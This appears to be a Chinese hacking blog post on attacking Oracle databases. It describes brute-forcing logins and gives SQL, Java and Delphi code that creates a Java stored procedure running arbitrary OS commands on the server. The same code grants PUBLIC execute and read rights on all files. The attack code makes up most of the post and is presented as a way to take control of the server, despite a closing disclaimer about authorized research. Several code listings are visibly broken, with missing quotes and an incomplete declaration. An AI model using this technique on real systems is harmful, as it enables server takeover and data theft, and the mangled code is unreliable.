探索黑客技术攻防,实战研究与安全创新

导航菜单

分析渗透 Oracle数据库

Oracle是一个数据库系统,和 MS SQL Server数据库类似,支持SQL语言的同时还支持ada编程、Java代码编程等,可以运行在Windows、Linux等操作系统上。本文将对如何

渗透Oracle数据库系统进行研究。

Oracle的漏洞有很多,如默认DBSNMP账号密码,低版本的SID枚举,本地权限提升,一些函数存在SQL注入,缓冲区溢出等等。下面我们先来破解Oracle的登录账号,然后使

用Delphi编程在数据库服务器上执行任意命令。

Oracle数据库账号破解

破解无非是暴力破解,即不断的尝试密码,直到成功登入系统为止,破解前需要一个字典,字典很关键,决定了破解的结果,我们用到一个款工具“Oracle数据库审计工具”,

其界面如图1所示。

图片1.png

我们在本地随便搭建找个oracle系统吧,看端口1521是否开放,是的话就说明服务器是Oracle的。我们以本地为例来测试下,如图2所示。

图片2.png

Oracle数据库执行任意命令

我们使用Delphi的odac组件来编程实现命令执行,命令执行是建立Java函数,来执行OS命令。先看看版本1的代码,这个代码有个缺陷,就是在SQL窗口中没有返回内容(在odac中也是一样的),但是在sqlplus中是有返回内容的,代码如下:


//创建Java源   www_isafe_cc_Util
create or replace and compile
java source named www_isafe_cc_Util
as
import java.io.*;
import java.lang.*;
public class www_isafe_cc_Util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int
try
{
rc = -1;
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =
new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
rc = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
rc = -1;
}
finally
{
return rc;
}
}
}
/
Java created.
//建立函数  www_isafe_cc_RUN_CMD
create or replace
function www_isafe_cc_RUN_CMD(p_cmd in varchar2) return number
as
language java
name www_isafe_cc_Util.RunThis(java.lang.String) return integer;
/
Function created.
//建立一个过程调用函数
create or replace procedure RC(p_cmd in varchar2)
as
x number;
begin
x := www_isafe_cc_run_cmd(p_cmd);
end;


在sqlplus中调用,结果如图2和图3所示。


variable x number;
set serveroutput on
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system;
exec :x := www_isafe_cc_RUN_CMD(ipconfig);


但是在SQL窗口中不能执行,SQL窗口和sqlplus中的命令窗口是有区别的,因为Delphi中的 odac组件是 SQL窗口方式执行的,在网上找了很多资料,没有解决,后来改用 Java代码实现了使用odac组件的执行命令内容返回,该部分代码称为版本2,代码如下:

创建Java源 www_isafe_cc_Util:


create or replace and compile java source named www_isafe_cc_Util as import
java.io.*; public class www_isafe_cc_Util extends  Object {public static String
runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new  InputStreamReader( Runtime.getRuntime().exec(args).getInputStream()  )  );
String  stemp,str=;while   ((stemp  =   myReader.readLine())  !=   null)  str
+=stemp+\n;myReader.close();return   str;}    catch   (Exception    e){return
e.toString();}}public static String readFile(String filename){try{BufferedReader
myReader= new BufferedReader(new FileReader(filename)); String stemp,str=;while
((stemp = myReader.readLine()) != null) str +=stemp+\n;myReader.close();return
str;} catch (Exception e){return e.toString();}}
}


创建调用函数www_isafe_cc_RunCMD:


create or  replace function  www_isafe_cc_RunCMD(p_cmd in  varchar2) return
varchar2 as language java name www_isafe_cc_Util.runCMD(java.lang.String) return
String;


赋予执行权限:


begin  dbms_java.grant_permission( PUBLIC,  SYS:java.io.FilePermission,
ALL FILES, execute);end;


命令成功执行了,如图4所示,有结果返回,其它的功能如读文件、目录浏览代码差不多。如下是Delphi执行命令的关键代码:

图片5.png


procedure TfrmMain.btnCreateFunClick(Sender: TObject);
var
ConnStr:string;
StrSQL,StrSQL2:string;
begin
btnCreateFun.Enabled:=False;
try
try
ConnStr:=Format(%s/%s@%s,[edtUser.Text,edtPass.Text,edtSid.Text,edtHost.Text]
);
OraSession1.Options.Direct:=True;
OraSession1.Server:=edtHost.Text;
OraSession1.Username:=edtUser.Text;
OraSession1.Password:=edtPass.Text;
OraQuery1.Connection:=OraSession1;
if OraQuery1.Active then
Oraquery1.Active:=False;
OraQuery1.SQL.Clear;
//oraquery1.SQL.Text:= select * from v$version;
OraQuery1.SQL.Text:= MemoPack.Lines.Text;
OraQuery1.Execute;
Memo1.Lines.Add(包已建立);
while not OraQuery1.Eof do
begin
Memo1.Lines.Add(OraQuery1.Fields[0].asString);
OraQuery1.Next;
end;
if OraQuery1.Active then
OraQuery1.Active:=False;
OraQuery1.SQL.Clear;
OraQuery1.SQL.Text:= MemoFunc.Lines.Text;
Oraquery1.Execute;
Memo1.Lines.Add(函数已建立);
while Not OraQuery1.Eof do
begin
Memo1.Lines.Add(OraQuery1.Fields[0].asString);
OraQuery1.Next;
end;
if OraQuery1.Active then
OraQuery1.Active:=False;
OraQuery1.SQL.Clear;
OraQuery1.SQL.Text:= MemoProc.Lines.Text;
Oraquery1.Execute;
Memo1.Lines.Add(过程已建立);
while not OraQuery1.Eof do
begin
Memo1.Lines.Add(OraQuery1.Fields[0].AsString);
Oraquery1.Next;
end;
StrSQL2:=begin
dbms_java.grant_permission(
PUBLIC,
SYS:java.io.FilePermission, ALL FILES, execute);end;;
StrSQL:=begin
dbms_java.grant_permission(PUBLIC,
SYS:java.io.FilePermission, ALL FILES, read);end;;
if oraQuery1.Active then
oraQuery1.Active:=False;
OraQuery1.SQL.Clear;
OraQuery1.SQL.Add(StrSQL);
OraQuery1.ExecSQL;
Memo1.Lines.Add(赋予权限);
if oraQuery1.Active then
oraQuery1.Active:=False;
OraQuery1.SQL.Clear;
OraQuery1.SQL.Add(StrSQL2);
OraQuery1.ExecSQL;
Memo1.Lines.Add(赋予权限);
ListFolderJavaSource;
Memo1.Lines.Add(列目录);
except
on e:Exception do
begin
ShowMessage(e.Message);
end;
end;
finally
end;
btnCreateFun.Enabled:=True;
end;


本文从Oracle数据库基本的密码破解入手,到执行服务器任意命令,一步一步来实现,最终控制了数据库所在服务器系统。

本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。